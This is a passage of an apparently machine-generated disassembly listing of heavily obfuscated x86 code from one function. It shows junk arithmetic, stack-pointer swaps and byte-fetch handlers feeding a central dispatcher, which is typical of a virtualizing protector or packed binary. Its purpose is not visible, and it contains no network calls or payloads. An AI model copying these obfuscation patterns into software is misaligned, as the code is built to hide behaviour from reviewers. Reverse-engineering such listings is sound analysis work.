		push	ecx
		mov	ecx, 233E11D6h
		mov	esi, ecx
		jmp	loc_5A2B65
; ---------------------------------------------------------------------------


loc_5A47E7:				; CODE XREF: sub_581EE9+14941j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_597431
; ---------------------------------------------------------------------------


loc_5A47F6:				; CODE XREF: sub_581EE9+22EB3j
		mov	ebp, 10973158h
		mov	ebx, 10973159h
		xor	ebx, ebp
		pop	ebp
		and	eax, ebx
		jmp	loc_59AA80
; ---------------------------------------------------------------------------


loc_5A480A:				; CODE XREF: sub_581EE9+20550j
		push	edx
		mov	edx, 6FC69F1Bh
		xor	edi, edx
		pop	edx
		jmp	loc_5A6E21
; ---------------------------------------------------------------------------


loc_5A4818:				; CODE XREF: sub_581EE9+1836Ej
		not	ecx
		xor	ecx, 0D1E421D7h
		mov	esi, ecx
		pop	ecx
		sub	eax, 58B449ABh
		sub	eax, 6B9B369Bh
		sub	eax, esi
		add	eax, 6B9B369Bh
		push	edx
		mov	edx, 42185730h
		xor	edx, 1AAC1E9Bh
		add	eax, edx
		mov	edx, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_59F104
; ---------------------------------------------------------------------------


loc_5A484A:				; CODE XREF: sub_581EE9+16668j
		add	edi, edx
		add	edi, 53470667h
		sub	edi, 6C6B3EC2h
		jmp	loc_598DA3
; ---------------------------------------------------------------------------


loc_5A485D:				; CODE XREF: sub_581EE9+213CDj
		mov	ch, 52h
		mov	al, ch
		pop	ecx
		sub	al, 0E9h
		push	ecx
		mov	cl, 59h
		jmp	loc_59354B
; ---------------------------------------------------------------------------


loc_5A486C:				; CODE XREF: sub_581EE9+1BBCCj
		mov	esp, [esp-6E5Ch+arg_6E54]
		push	47E1h
		mov	[esp-6E58h+arg_6E50], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A487C:				; CODE XREF: sub_581EE9+16973j
		sub	bl, 0B9h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A488B:				; CODE XREF: sub_581EE9+1EADBj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		jmp	loc_5A319D
; ---------------------------------------------------------------------------


loc_5A48A0:				; CODE XREF: sub_581EE9+1479Ej
		pop	esp
		jmp	loc_5981DC
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA6h+arg_6E9E]
		push	7CBEh
		mov	[esp-6EA2h+arg_6E9A], esi
		jmp	loc_59F536
; ---------------------------------------------------------------------------


loc_5A48B7:				; CODE XREF: sub_581EE9+19E1Fj
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebx
		push	3351DB92h
		mov	ebx, [esp-6EA6h+arg_6E9E]
		push	4B17h
		jmp	loc_5A25B6
; ---------------------------------------------------------------------------


loc_5A48CC:				; CODE XREF: sub_581EE9+1130Bj
		mov	ecx, 4F215B86h
		jmp	loc_59311A
; ---------------------------------------------------------------------------


loc_5A48D6:				; CODE XREF: sub_581EE9+23A7Bj
		add	edx, eax
		add	edx, 542370D7h
		jmp	loc_5A5D9B
; ---------------------------------------------------------------------------


loc_5A48E3:				; CODE XREF: sub_581EE9+1747Bj
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		mov	ah, 8Eh
		and	ah, 0B0h
		sub	ah, 0FFh
		or	ah, 0D6h
		jmp	loc_59CAF9
; ---------------------------------------------------------------------------


loc_5A48F6:				; CODE XREF: sub_581EE9+151B9j
		add	edi, 2B6E5E2Bh
		sub	edi, ebp
		sub	edi, 2B6E5E2Bh
		mov	ebp, [esp-6E76h+arg_6E6E]
		jmp	loc_594FD5
; ---------------------------------------------------------------------------


loc_5A490C:				; CODE XREF: sub_581EE9+1AB87j
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		pop	ebx
		jmp	loc_5991FC
; ---------------------------------------------------------------------------


loc_5A4917:				; CODE XREF: sub_581EE9+1091Cj
		mov	ebx, 478F5F50h
		jmp	loc_5969F6
; ---------------------------------------------------------------------------


loc_5A4921:				; CODE XREF: sub_581EE9+18180j
		push	[esp-6E7Eh+arg_6E76]
		mov	edi, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		add	esp, 4
		jmp	loc_59739F
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	33Eh
		mov	[esp-6E7Eh+arg_6E76], ebx
		mov	bh, 21h
		jmp	loc_5A2D7D
; ---------------------------------------------------------------------------


loc_5A4947:				; CODE XREF: sub_581EE9+142E9j
		sub	bh, al
		jmp	loc_59A7A0
; ---------------------------------------------------------------------------


loc_5A494E:				; CODE XREF: sub_581EE9+17F48j
		pop	[esp-6E8Eh+arg_6E84+2]
		pop	esp
		xor	ebp, [esp-6E96h+arg_6E8E]
		xor	[esp-6E96h+arg_6E8E], ebp
		xor	ebp, [esp-6E96h+arg_6E8E]
		mov	esp, [esp-6E96h+arg_6E8E]
		jmp	loc_595C40
; ---------------------------------------------------------------------------


loc_5A4963:				; CODE XREF: sub_581EE9+141F4j
		add	esi, 580519BFh
		pop	eax
		xchg	esi, [esp-6EA2h+arg_6E9A]
		pop	esp
		push	[esp-6EA6h+arg_6E9E]
		push	[esp-6EA2h+arg_6E9A]
		push	[esp-6E9Eh+arg_6E96]
		jmp	loc_59B523
; ---------------------------------------------------------------------------


loc_5A497C:				; CODE XREF: sub_581EE9+15024j
		add	ebx, edi
		pop	edi
		jmp	loc_595DFB
; ---------------------------------------------------------------------------


loc_5A4984:				; CODE XREF: sub_581EE9+17871j
		add	ebx, ebp
		pop	ebp
		dec	ebx
		add	ebx, 1CA2656Fh
		xor	ebx, 52A3376Dh
		mov	esi, ebx
		pop	ebx
		sub	esi, eax
		push	[esp-6E7Ah+arg_6E72]
		pop	eax
		sub	esp, 4
		jmp	loc_5A3FCC
; ---------------------------------------------------------------------------


loc_5A49A5:				; CODE XREF: sub_581EE9+147FDj
		sub	eax, 22070804h
		jmp	loc_5A182A
; ---------------------------------------------------------------------------


loc_5A49AF:				; CODE XREF: sub_581EE9+1BC79j
		push	[esp-6E66h+arg_6E5C+2]
		mov	eax, [esp-6E62h+arg_6E58+2]
		jmp	loc_59E16D
; ---------------------------------------------------------------------------


loc_5A49BA:				; CODE XREF: sub_581EE9+157BBj
		add	ebp, esi
		push	ecx
		mov	ecx, 7F5E6AFFh
		jmp	loc_5980E2
; ---------------------------------------------------------------------------


loc_5A49C7:				; CODE XREF: sub_581EE9+16D45j
		mov	[esp-6E94h+arg_6E8A+2],	ecx
		jmp	loc_5A5021
; ---------------------------------------------------------------------------


loc_5A49CF:				; CODE XREF: sub_581EE9+249DDj
		mov	edx, esp
		push	edi
		jmp	loc_5A1A48
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		push	ebp
		mov	ebp, 29C77AACh
		push	edx
		push	ebx
		mov	ebx, 459360C0h
		jmp	loc_595EA1
; ---------------------------------------------------------------------------


loc_5A49EB:				; CODE XREF: sub_581EE9+1A0D7j
		push	16E3h
		mov	[esp-6E9Ch+arg_6E92+2],	ebp
		mov	ebp, 1E0D0995h
		or	ebp, 3CBD0E96h
		add	ebp, 25C85C05h
		jmp	loc_5A0286
; ---------------------------------------------------------------------------


loc_5A4A09:				; CODE XREF: sub_581EE9+160ABj
		add	ebx, ecx
		pop	ecx
		jmp	loc_59A1F9
; ---------------------------------------------------------------------------


loc_5A4A11:				; CODE XREF: sub_581EE9+14A4Ej
		pop	ebp
		add	esp, 4
		push	dword ptr [edi+24h]
		push	7364h
		jmp	loc_5A6C27
; ---------------------------------------------------------------------------


loc_5A4A22:				; CODE XREF: sub_581EE9+17F6Dj
		xor	[esp-6E96h+arg_6E8E], ebp
		jmp	loc_5953FE
; ---------------------------------------------------------------------------


loc_5A4A2A:				; CODE XREF: sub_581EE9+21696j
		add	esp, 4
		shl	ebp, 4
		jmp	loc_59EF6C
; ---------------------------------------------------------------------------
		lodsb
		add	al, 3Bh
		push	small 6139h
		mov	word ptr [esp-6E58h+arg_6E50], cx
		mov	cl, 0D6h
		sub	al, cl
		pop	cx
		jmp	loc_5967A5
; ---------------------------------------------------------------------------


loc_5A4A4E:				; CODE XREF: sub_581EE9+13BD5j
		mov	ah, 4Ch
		not	ah
		jmp	loc_59BCB6
; ---------------------------------------------------------------------------


loc_5A4A57:				; CODE XREF: sub_581EE9+18929j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A4A5C:				; CODE XREF: sub_581EE9+1919Cj
		add	al, dl
		push	[esp-6EAEh+arg_6EA4+2]
		push	dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_59549B
; ---------------------------------------------------------------------------


loc_5A4A69:				; CODE XREF: sub_581EE9+11F4Fj
		shr	esi, 1
		xor	esi, 0D2594586h
		sub	edx, esi
		pop	esi
		sub	ebp, 1CCE7E4Eh
		add	ebp, edx
		sub	esp, 4
		jmp	loc_5A4B3A
; ---------------------------------------------------------------------------


loc_5A4A84:				; CODE XREF: sub_581EE9+1848Cj
		sub	edi, 0E0A0322h
		mov	ebx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		jmp	loc_59E98A
; ---------------------------------------------------------------------------


loc_5A4A98:				; CODE XREF: sub_581EE9+1ADA8j
		mov	[esp-6E9Ch+arg_6E92+2],	edx
		mov	dl, 0CBh
		mov	bl, dl
		pop	edx
		shr	bl, 4
		neg	bl
		jmp	loc_59935C
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA0h+arg_6E96+2]
		push	eax
		push	esp
		mov	eax, [esp-6E98h+arg_6E8E+2]
		jmp	loc_5A4502
; ---------------------------------------------------------------------------


loc_5A4AB8:				; CODE XREF: sub_581EE9+182A1j
		mov	esi, 4E717467h
		add	ebx, esi
		pop	esi
		push	[esp-6E5Ah+arg_6E50+2]
		pop	edi
		push	4F26h
		mov	[esp-6E56h+arg_6E4C+2],	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp-6E56h+arg_6E4C+2]
		mov	esp, [esp-6E56h+arg_6E4C+2]
		sub	ebx, 4
		xor	ebx, [esp-6E56h+arg_6E4C+2]
		xor	[esp-6E56h+arg_6E4C+2],	ebx
		xor	ebx, [esp-6E56h+arg_6E4C+2]
		mov	esp, [esp-6E56h+arg_6E4C+2]
		jmp	loc_5994B4
; ---------------------------------------------------------------------------


loc_5A4AF4:				; CODE XREF: sub_581EE9+19A80j
		xor	esi, 0E490BD64h
		mov	ebp, esi
		pop	esi
		jmp	loc_59680A
; ---------------------------------------------------------------------------


loc_5A4B02:				; CODE XREF: sub_581EE9+19B6Fj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		push	eax
		mov	eax, 4
		jmp	loc_5A5A82
; ---------------------------------------------------------------------------


loc_5A4B1D:				; CODE XREF: sub_581EE9+22C4Cj
		or	edx, eax
		shl	edx, 1
		jmp	loc_5A1E2F
; ---------------------------------------------------------------------------


loc_5A4B26:				; CODE XREF: sub_581EE9+1B3E5j
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_5930BF
; ---------------------------------------------------------------------------


loc_5A4B32:				; CODE XREF: sub_581EE9+17A4Aj
		and	eax, ecx
		pop	ecx
		jmp	loc_5A4B1D
; ---------------------------------------------------------------------------


loc_5A4B3A:				; CODE XREF: sub_581EE9+22B96j
		mov	[esp-6E9Ah+arg_6E92], ecx
		push	edx
		mov	edx, 1CCE7E4Eh
		jmp	loc_594873
; ---------------------------------------------------------------------------


loc_5A4B48:				; CODE XREF: sub_581EE9+1B303j
		pop	ecx
		sub	ebx, 4
		jmp	loc_5A56BE
; ---------------------------------------------------------------------------


loc_5A4B51:				; CODE XREF: sub_581EE9+1F25Cj
		push	ax
		mov	al, 15h
		add	bl, al
		mov	ax, word ptr [esp-6E84h+arg_6E7C]
		add	esp, 2
		add	bl, 3Ah
		add	bl, al
		sub	bl, 3Ah
		sub	bl, 15h
		push	[esp-6E88h+arg_6E80]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-6E80h+arg_6E7C]
		pop	eax
		pop	[esp-6E80h+arg_6E76+2]
		mov	esp, [esp-6E84h+arg_6E7C]
		push	edx
		mov	dh, 0B0h
		add	dh, 97h
		sub	dh, 8Eh
		not	dh
		shr	dh, 7
		xor	dh, 0DFh
		add	bl, dh
		pop	edx
		push	ecx
		jmp	loc_59AB82
; ---------------------------------------------------------------------------


loc_5A4BA0:				; CODE XREF: sub_581EE9+24AE2j
		sub	ah, dh
		jmp	loc_59D34F
; ---------------------------------------------------------------------------


loc_5A4BA7:				; CODE XREF: sub_581EE9+1A3D2j
		pop	ebp
		push	eax
		jmp	loc_5980D2
; ---------------------------------------------------------------------------


loc_5A4BAE:				; CODE XREF: sub_581EE9+23783j
		push	edi
		mov	edi, 1EAD5F48h
		mov	esi, 0E499899Dh
		jmp	loc_5A212E
; ---------------------------------------------------------------------------


loc_5A4BBE:				; CODE XREF: sub_581EE9+1952Cj
		add	esp, 4
		shl	al, 7
		jmp	loc_597152
; ---------------------------------------------------------------------------


loc_5A4BC9:				; CODE XREF: sub_581EE9+12427j
		pop	ecx
		push	eax
		mov	ah, dl
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], edx
		mov	dh, ah
		mov	cl, dh
		pop	edx
		jmp	loc_5A5D5B
; ---------------------------------------------------------------------------


loc_5A4BE0:				; CODE XREF: sub_581EE9+20F1Dj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EB0h+arg_6EA8]
		jmp	loc_59AEE9
; ---------------------------------------------------------------------------


loc_5A4BF2:				; CODE XREF: sub_581EE9+1650Aj
		xchg	esi, ecx
		push	edi
		mov	edi, 40B857B7h
		xor	ecx, edi
		pop	edi
		add	ecx, 400DCD36h
		add	ebx, ecx
		mov	ecx, [esp-6E7Ah+arg_6E72]
		jmp	loc_5A6DA1
; ---------------------------------------------------------------------------


loc_5A4C0D:				; CODE XREF: sub_581EE9+19EB0j
		mov	edi, 15B163CDh
		jmp	loc_592A16
; ---------------------------------------------------------------------------


loc_5A4C17:				; CODE XREF: sub_581EE9+14DD0j
		push	bx
		mov	bl, 0D6h
		add	al, bl
		jmp	loc_59C71C
; ---------------------------------------------------------------------------


loc_5A4C22:				; CODE XREF: sub_581EE9+197A7j
		pop	ecx
		add	eax, 0D9B7EF17h
		sub	ecx, eax
		mov	eax, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		shl	ecx, 8
		jmp	loc_5951A7
; ---------------------------------------------------------------------------


loc_5A4C38:				; CODE XREF: sub_581EE9+10810j
		mov	edi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		push	edx
		push	31F464BFh
		push	[esp-6EA0h+arg_6E96+2]
		pop	edx
		add	esp, 4
		not	edx
		jmp	loc_5A0E04
; ---------------------------------------------------------------------------


loc_5A4C58:				; CODE XREF: sub_581EE9+1B1ADj
		xor	ecx, 2A9D3433h
		xor	esi, ecx
		pop	ecx
		and	esi, 1D354F3Eh
		jmp	loc_59AE0C
; ---------------------------------------------------------------------------


loc_5A4C6C:				; CODE XREF: sub_581EE9+107C4j
		mov	eax, [esp-6EACh+arg_6EA4]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], edx
		jmp	loc_599A38
; ---------------------------------------------------------------------------


loc_5A4C83:				; CODE XREF: sub_581EE9+10F08j
		push	edi
		neg	[esp-6E5Eh+arg_6E54+2]
		pop	edi
		shr	edi, 6
		xor	edi, 376CA33h
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp-6E66h+arg_6E5C+2]
		pop	esp
		mov	[esp-6E6Ah+arg_6E60+2],	eax
		sub	esp, 4
		jmp	loc_597E11
; ---------------------------------------------------------------------------


loc_5A4CA9:				; CODE XREF: sub_581EE9+1DA91j
		xor	ebx, [esp-6E62h+arg_6E58+2]
		xor	[esp-6E62h+arg_6E58+2],	ebx
		xor	ebx, [esp-6E62h+arg_6E58+2]
		pop	esp
		mov	[esp-6E66h+arg_6E5C+2],	eax
		mov	eax, esp
		push	83Bh
		mov	[esp-6E62h+arg_6E58+2],	edi
		push	ebp
		mov	ebp, 13B04BE4h
		mov	edi, 13B04BE8h
		sub	edi, 61467D91h
		sub	edi, ebp
		add	edi, 61467D91h
		pop	ebp
		add	eax, edi
		push	[esp-6E62h+arg_6E58+2]
		jmp	loc_59C2C5
; ---------------------------------------------------------------------------


loc_5A4CE4:				; CODE XREF: sub_581EE9+14BCCj
		add	[ecx], esi
		push	[esp-6E4Eh+arg_6E44+2]
		mov	ecx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A4477
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp-6E48h+arg_6E3E+2], cl
		pushf
		jmp	loc_59DB84
; ---------------------------------------------------------------------------


loc_5A4D0D:				; CODE XREF: sub_581EE9+10DB5j
		and	edi, 2A457711h
		sub	edi, 0FFFFFFFFh
		push	edx
		mov	edx, 6B916280h
		sub	edi, edx
		pop	edx
		jmp	loc_5941D4
; ---------------------------------------------------------------------------


loc_5A4D24:				; CODE XREF: sub_581EE9+13693j
		or	ebx, esi
		jmp	loc_59349C
; ---------------------------------------------------------------------------


loc_5A4D2B:				; CODE XREF: sub_581EE9+10497j
		add	esp, 4
		push	ecx
		mov	ecx, 2
		jmp	loc_59C6DA
; ---------------------------------------------------------------------------


loc_5A4D3C:				; CODE XREF: sub_581EE9+12CCAj
		push	ebp
		push	edi
		push	769C5D2Dh
		pop	edi
		push	esi
		mov	esi, 2BE11AFCh
		jmp	loc_5A5508
; ---------------------------------------------------------------------------


loc_5A4D4F:				; CODE XREF: sub_581EE9+2396Fj
		sub	ecx, 1EEF739Eh
		mov	edx, [esp-6E80h+arg_6E76+2]
		jmp	loc_595203
; ---------------------------------------------------------------------------


loc_5A4D5D:				; CODE XREF: sub_581EE9+16AD5j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5984D6
; ---------------------------------------------------------------------------


loc_5A4D6A:				; CODE XREF: sub_581EE9+230CCj
		sub	esi, 3911221Dh
		sub	esi, 4C304C4Ah
		jmp	loc_59B727
; ---------------------------------------------------------------------------


loc_5A4D7B:				; CODE XREF: sub_581EE9+1486Cj
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp-6EB6h+arg_6EAC+2]
		pop	esp
		mov	[esp-6EBAh+arg_6EB2], ebx
		pop	eax
		mov	ebx, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		push	75E4h
		mov	[esp-6EBEh+arg_6EB6], ebx
		push	ebp
		jmp	loc_5A47F6
; ---------------------------------------------------------------------------


loc_5A4DA1:				; CODE XREF: sub_581EE9+1C65Cj
		mov	edi, 4E3F0130h
		or	edi, 40F46F9Dh
		shl	edi, 6
		push	esi
		mov	esi, 402410C4h
		add	edi, esi
		jmp	loc_5A317A
; ---------------------------------------------------------------------------


loc_5A4DBC:				; CODE XREF: sub_581EE9+1F586j
		xor	eax, [esp-6E84h+arg_6E7C]
		xor	[esp-6E84h+arg_6E7C], eax
		xor	eax, [esp-6E84h+arg_6E7C]
		mov	esp, [esp-6E84h+arg_6E7C]
		ror	byte ptr [esp-6E84h+arg_6E7C], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A4DD1:				; CODE XREF: sub_581EE9+1277Dj
		pop	ebp
		add	[esp-6E90h+arg_6E8A+2],	eax
		mov	eax, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E8Ch+arg_6E84]
		pop	esp
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	edx, 11F50A9Ah
		jmp	loc_59BA9C
; ---------------------------------------------------------------------------


loc_5A4E01:				; CODE XREF: sub_581EE9+23D30j
		sub	edx, ebx
		jmp	loc_59FFF9
; ---------------------------------------------------------------------------


loc_5A4E08:				; CODE XREF: sub_581EE9+12174j
		mov	al, 0C3h
		sub	al, 0Ah
		add	al, 0C4h
		xor	al, 0E2h
		sub	al, 33h
		jmp	loc_592261
; ---------------------------------------------------------------------------


loc_5A4E17:				; CODE XREF: sub_581EE9+1B9E3j
		push	ebp
		jmp	loc_59F55E
; ---------------------------------------------------------------------------


loc_5A4E1D:				; CODE XREF: sub_581EE9+13DB9j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5A1E6B
; ---------------------------------------------------------------------------


loc_5A4E2B:				; CODE XREF: sub_581EE9+153D6j
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	ecx, 0FFFFFFFFh
		push	236Fh
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		sub	esp, 4
		jmp	loc_59B686
; ---------------------------------------------------------------------------


loc_5A4E47:				; CODE XREF: sub_581EE9+1C1DCj
		push	ecx
		jmp	loc_59604F
; ---------------------------------------------------------------------------


loc_5A4E4D:				; CODE XREF: sub_581EE9+1DD17j
		mov	[esp-6EA4h+arg_6E9A+2],	edi
		mov	edi, 31DA51CEh
		inc	edi
		jmp	loc_59A28A
; ---------------------------------------------------------------------------


loc_5A4E5B:				; CODE XREF: sub_581EE9+220CBj
		mov	[esp-6EA6h+arg_6E9E], ecx
		jmp	loc_5A2214
; ---------------------------------------------------------------------------


loc_5A4E63:				; CODE XREF: sub_581EE9+18298j
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp-6E52h+arg_6E48+2],	esp
		jmp	loc_59927E
; ---------------------------------------------------------------------------


loc_5A4E70:				; CODE XREF: sub_581EE9+13816j
		sub	ebx, 0E2B5DAC9h
		mov	esi, ebx
		jmp	loc_59B8ED
; ---------------------------------------------------------------------------


loc_5A4E7D:				; CODE XREF: sub_581EE9+21448j
		push	ebx
		mov	ebx, 77332894h
		jmp	loc_595C3A
; ---------------------------------------------------------------------------


loc_5A4E88:				; CODE XREF: sub_581EE9+11C78j
		shr	ebx, 4
		shl	ebx, 4
		xor	ebx, 0D2493402h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 34D10A9Fh
		add	ebp, ecx
		add	ebp, 34D10A9Fh
		jmp	loc_59B011
; ---------------------------------------------------------------------------


loc_5A4EAA:				; CODE XREF: sub_581EE9+24ED5j
		sub	esp, 4
		mov	[esp-6E7Eh+arg_6E76], esi
		push	ecx
		mov	ecx, 754F240Fh
		push	ebx
		mov	ebx, 2E1F1A83h
		and	ebx, 5C62789Fh
		not	ebx
		jmp	loc_59A55F
; ---------------------------------------------------------------------------


loc_5A4EC9:				; CODE XREF: sub_581EE9+179C6j
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E66h+arg_6E5C+2]
		pop	esp
		jmp	loc_59A2E4
; ---------------------------------------------------------------------------


loc_5A4EE1:				; CODE XREF: sub_581EE9+128FCj
		mov	[esp-6E5Eh+arg_6E54+2],	ebx
		mov	ebx, 54B33F1Fh
		add	ebx, 6AE90EF2h
		shr	ebx, 2
		shr	ebx, 3
		jmp	loc_5967D8
; ---------------------------------------------------------------------------
		lodsb
		push	435Eh
		mov	[esp-6E5Ah+arg_6E50+2],	ecx
		push	606Bh
		jmp	loc_5A70F5
; ---------------------------------------------------------------------------


loc_5A4F0D:				; CODE XREF: sub_581EE9+1ED4Bj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A4F12:				; CODE XREF: sub_581EE9+105F2j
		push	edi
		push	74FC530Ah
		jmp	loc_596146
; ---------------------------------------------------------------------------


loc_5A4F1D:				; CODE XREF: sub_581EE9+2155Dj
		add	al, ch
		jmp	loc_597224
; ---------------------------------------------------------------------------


loc_5A4F24:				; CODE XREF: sub_581EE9+23D09j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		mov	[esp-6E72h+arg_6E68+2],	ecx
		mov	ecx, 4
		add	edi, 61B0657Ch
		jmp	loc_592A4B
; ---------------------------------------------------------------------------


loc_5A4F4A:				; CODE XREF: sub_581EE9+17468j
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		mov	eax, 53F1997h
		dec	eax
		push	ebx
		mov	ebx, 2ECF0246h
		sub	eax, ebx
		pop	ebx
		jmp	loc_596693
; ---------------------------------------------------------------------------


loc_5A4F61:				; CODE XREF: sub_581EE9+17B80j
		sub	ebx, 73BB5815h
		jmp	loc_5A6D79
; ---------------------------------------------------------------------------


loc_5A4F6C:				; CODE XREF: sub_581EE9+11313j
		inc	esi
		xor	esi, 72991C6Bh
		or	ecx, esi
		jmp	loc_5A65B6
; ---------------------------------------------------------------------------


loc_5A4F7A:				; CODE XREF: sub_581EE9+1CCA8j
		pop	edi
		push	ebx
		push	ecx
		push	51D63493h
		jmp	loc_5A37B6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E66h+arg_6E5C+2]
		push	300Bh
		jmp	loc_5A4621
; ---------------------------------------------------------------------------


loc_5A4F95:				; CODE XREF: sub_581EE9+10108j
		mov	esi, 0DAC37CEBh
		sub	edi, esi
		pop	esi
		mov	ecx, edi
		pop	edi
		xor	eax, ecx
		pop	ecx
		shl	eax, 2
		shl	eax, 7
		jmp	loc_59FF48
; ---------------------------------------------------------------------------


loc_5A4FAE:				; CODE XREF: sub_581EE9+215C1j
		pop	edx
		add	esi, 2B8D5B09h
		jmp	loc_5A4D6A
; ---------------------------------------------------------------------------


loc_5A4FBA:				; CODE XREF: sub_581EE9+1631Aj
		pop	ebp
		push	[esp-6E80h+arg_6E76+2]
		pop	edi
		add	esp, 4
		jmp	loc_592714
; ---------------------------------------------------------------------------


loc_5A4FC7:				; CODE XREF: sub_581EE9+14BF6j
		pop	ebp
		sub	ebp, ecx
		jmp	loc_5A294B
; ---------------------------------------------------------------------------


loc_5A4FCF:				; CODE XREF: sub_581EE9+21649j
		mov	esi, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		push	edi
		jmp	loc_5991C4
; ---------------------------------------------------------------------------


loc_5A4FDE:				; CODE XREF: sub_581EE9+1E6A9j
		add	esi, ecx
		pop	ecx
		add	esi, eax
		sub	esi, 57AD5CCCh
		sub	esi, 2A58309Bh
		pop	eax
		add	esi, 4
		xor	esi, [esp-6EA0h+arg_6E96+2]
		xor	[esp-6EA0h+arg_6E96+2],	esi
		xor	esi, [esp-6EA0h+arg_6E96+2]
		mov	esp, [esp-6EA0h+arg_6E96+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 521467DEh
		xor	edi, 75671437h
		xor	edi, 277373EDh
		push	3FB7h
		mov	[esp-6E94h+arg_6E8A+2],	ebx
		jmp	loc_5A090F
; ---------------------------------------------------------------------------


loc_5A5021:				; CODE XREF: sub_581EE9+22AE1j
		push	esp
		pop	ecx
		jmp	loc_5A2708
; ---------------------------------------------------------------------------


loc_5A5028:				; CODE XREF: sub_581EE9+1CC7Cj
		and	ecx, 338D09B6h
		sub	ecx, 2026DBB8h
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		jmp	loc_593BC2
; ---------------------------------------------------------------------------


loc_5A503E:				; CODE XREF: sub_581EE9+223C2j
		push	ebp
		mov	ebp, 68A05DA3h
		sub	esi, ebp
		pop	ebp
		sub	esi, 780372E8h
		push	edi
		jmp	loc_5986A2
; ---------------------------------------------------------------------------
		neg	[esp-6E64h+arg_6E5C]
		pushf
		jmp	loc_5A1240
; ---------------------------------------------------------------------------


loc_5A505C:				; CODE XREF: sub_581EE9+1F6BFj
		mov	edi, [esp-6E92h+arg_6E8A]
		add	esp, 4
		sub	ecx, 0FFFFFFFFh
		push	ecx
		xchg	ecx, [esp-6E92h+arg_6E8A]
		not	ecx
		xchg	ecx, [esp-6E92h+arg_6E8A]
		pop	ecx
		shr	ecx, 6
		xor	ecx, 52284121h
		add	ecx, 0AF99BCE0h
		sub	edx, 2DF95BBCh
		add	edx, ecx
		add	edx, 2DF95BBCh
		pop	ecx
		push	edi
		mov	edi, 1ABF4E65h
		shr	edi, 8
		dec	edi
		not	edi
		sub	edi, 1
		shr	edi, 1
		push	eax
		mov	eax, 74FD1108h
		add	eax, 10D42A18h
		neg	eax
		add	eax, 1E302350h
		sub	eax, 186C47D4h
		xor	edi, eax
		pop	eax
		add	edx, edi
		pop	edi
		push	edx
		push	[esp-6E96h+arg_6E92]
		mov	edx, [esp-6E92h+arg_6E8A]
		add	esp, 4
		pop	[esp-6E96h+arg_6E8E]
		mov	esp, [esp-6E9Ah+arg_6E92]
		push	72C0h
		mov	[esp-6E96h+arg_6E8E], edi
		mov	edi, 7A954ED0h
		add	edi, 1F0B2227h
		jmp	loc_59513A
; ---------------------------------------------------------------------------


loc_5A50E7:				; CODE XREF: sub_581EE9+24307j
		pop	esp
		mov	[esp-6E9Ah+arg_6E92], ebx
		push	esp
		mov	ebx, [esp-6E96h+arg_6E8E]
		jmp	loc_5A6310
; ---------------------------------------------------------------------------


loc_5A50F4:				; CODE XREF: sub_581EE9+1E230j
		sub	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 59C12DE0h
		neg	ebp
		push	7D0Eh
		mov	[esp-6EACh+arg_6EA4], ecx
		push	edx
		sub	esp, 4
		jmp	loc_598D35
; ---------------------------------------------------------------------------


loc_5A5113:				; CODE XREF: sub_581EE9+23B7Dj
		pop	esi
		add	edx, edi
		add	edx, 682403EAh
		jmp	loc_59C0D9
; ---------------------------------------------------------------------------


